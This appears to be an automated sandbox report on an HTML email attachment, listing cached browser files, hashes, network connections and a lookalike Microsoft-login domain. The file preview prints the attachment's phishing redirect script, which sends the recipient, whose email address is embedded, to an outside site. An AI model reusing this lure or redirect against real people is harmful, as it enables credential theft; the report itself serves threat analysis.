URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
URL:	https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	1746
Entropy (8bit):	7.0941604123505115
Encrypted:	false
SSDEEP:	48:0OTCvdgy5wWh9XtNmtNvVII0Xk0t54tO31aUanH:09vdgy5d0vVvz0tuA8x
MD5:	FF9BBAC9E01B1DDD59C87D1E8DD194D1
SHA1:	018AD340A895FB021B57B3C08A4D88646F2981F1
SHA-256:	C28BD21CF6420D2282292B8FD5DF776B62B68C9681AEDC0D2E73D6444C0BF3A1
SHA-512:	CC7AEF1C346579FF31A504B82D719D73A15A895D08494AF0BA6905CD5DDF4B147FEA627E96AF4AAB8F177A84283F51F10FEF08C71C75851023A0ECF9A26A681E
Malicious:	false
Preview:	RIFF....WEBPVP8L..../..?..:..)....Lef..x...^..@.T..Ybf.%y.....PD.<.......eK.[c.\|. 9..H..g).....O\ue.....n$I...~.@/..9'6....4.{.Q....m;m........7_...e.....N.s'.....A+.>.tz \.zg...............8.8.[.q.]..Z.....k.....M.< ..\...A.............h..O..............e..$.SE$K.....6..!..?..?....iT.?..?..?..?.3...}TE......@y.......X.p.O....}.p\|X.J...................(.........e....?..."...............k\I................m..q...g.*...{.Rs............/...a....j.............b..8L.Ti.;.........r@....._.....`Ta....>;.....9.....RXU.].J.~.9..L...5......9............9..(.We...)..d..0.t-....g.9...._.h.../.u,../6k.....h.;........q.........!..N...?..../}..{..?......g...w4.....g.....9.`l....o!.~qpD."rj.M...>..>Q.O.....5......c.....9.`../...K..2.K5<.SU.J...IpV...........Ui.......n............/..8...?...5..2.e.N..i...uS?e..`....\0.......j..........>j-".(Q,..T...o....%43.`P...P.W.}.........j$...>&...\u...Zo...s.2l..QkUl....s........]7......>'j.=7..1.\|...~..T=...qX;........s..

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48138)
Category:	downloaded
Size (bytes):	48139
Entropy (8bit):	5.399746609631708
Encrypted:	false
SSDEEP:	768:nCbU/CNu5h5taq75KvO0fV9/KFeWlzQylfTDjVsgVX2bwDBslY1L8ep7K1oiSJvU:4Nu5h5taq7gGYV9yjcylh2bQs3
MD5:	59306E15EB43DE76A56231E5E426EC80
SHA1:	7606B8E4AEACE12B393AD6DCEBDF6D64BC7240E9
SHA-256:	69865FE9BE4F6CDCED3CA8C047A486DB063F1179846F5EDFF395C39A7494FA34
SHA-512:	99C5EE7567FECB0FD92C4622EE949975972FC46E165AA8E9FF719B3A64472F15E6A79EC83CA533C7305B70B35984B7980AC0552CE1169DBD1DC2C3C1F2D83F4B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/324d0dcf743c/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48138)
Category:	dropped
Size (bytes):	48139
Entropy (8bit):	5.399746609631708
Encrypted:	false
SSDEEP:	768:nCbU/CNu5h5taq75KvO0fV9/KFeWlzQylfTDjVsgVX2bwDBslY1L8ep7K1oiSJvU:4Nu5h5taq7gGYV9yjcylh2bQs3
MD5:	59306E15EB43DE76A56231E5E426EC80
SHA1:	7606B8E4AEACE12B393AD6DCEBDF6D64BC7240E9
SHA-256:	69865FE9BE4F6CDCED3CA8C047A486DB063F1179846F5EDFF395C39A7494FA34
SHA-512:	99C5EE7567FECB0FD92C4622EE949975972FC46E165AA8E9FF719B3A64472F15E6A79EC83CA533C7305B70B35984B7980AC0552CE1169DBD1DC2C3C1F2D83F4B
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Entropy (8bit):	5.236590274796217
TrID:	Text - UTF-8 encoded (3003/1) 100.00%
File name:	Attach1.htm
File size:	227 bytes
MD5:	4f5dfc91c5499f9631b0c9c3b635b3a1
SHA1:	5ab7a4b2ec7db417f8dcb818c1d61b72e0b2f571
SHA256:	cc82a9693515f8253dbe076f887cd349728b90ba209f67fae7f0aa4a3f2b8be7
SHA512:	dac0902a14a2af41793d47b80811a55ed3a5b11438b18d4a543b11ed9b482956506aeb37007f30ccaf36991472b473a4c84c8e3dba79f81b8b05b756300b298b
SSDEEP:	6:rz2zhqfWNsGSRAqJmOXummHCdPVTqLELGQ32zMcGb:rCqSKmqJmuuxHeoLiGQsMbb
TLSH:	A8D0A7955D92CA045574007584F2E341F42A82F91585E8C0F2D8B4232FB978E9B5B698
File Content Preview:	...<!DOCTYPE HTML>..<html lang="en-US">.. <head>.. <script type="text/javascript">.. window.location.href = "http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.com".. </script>..</html>

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 17, 2025 14:27:38.731844902 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:38.732383013 CET	49709	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:38.736726999 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:38.736794949 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:38.737036943 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:38.737226963 CET	80	49709	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:38.737312078 CET	49709	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:38.741863966 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.235366106 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.285454988 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.296416998 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.301325083 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.311186075 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.311242104 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.311335087 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.311675072 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.311724901 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.311872959 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.312247992 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.312269926 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.312592983 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.312607050 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.568468094 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.575866938 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.580809116 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.696789026 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.773838997 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.775643110 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.775664091 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.775835991 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.776246071 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.776274920 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.776551962 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.776633978 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.777734995 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.777822971 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.777998924 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.778069973 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.779388905 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.779499054 CET	443	49713	172.67.209.138	192.168.2.5
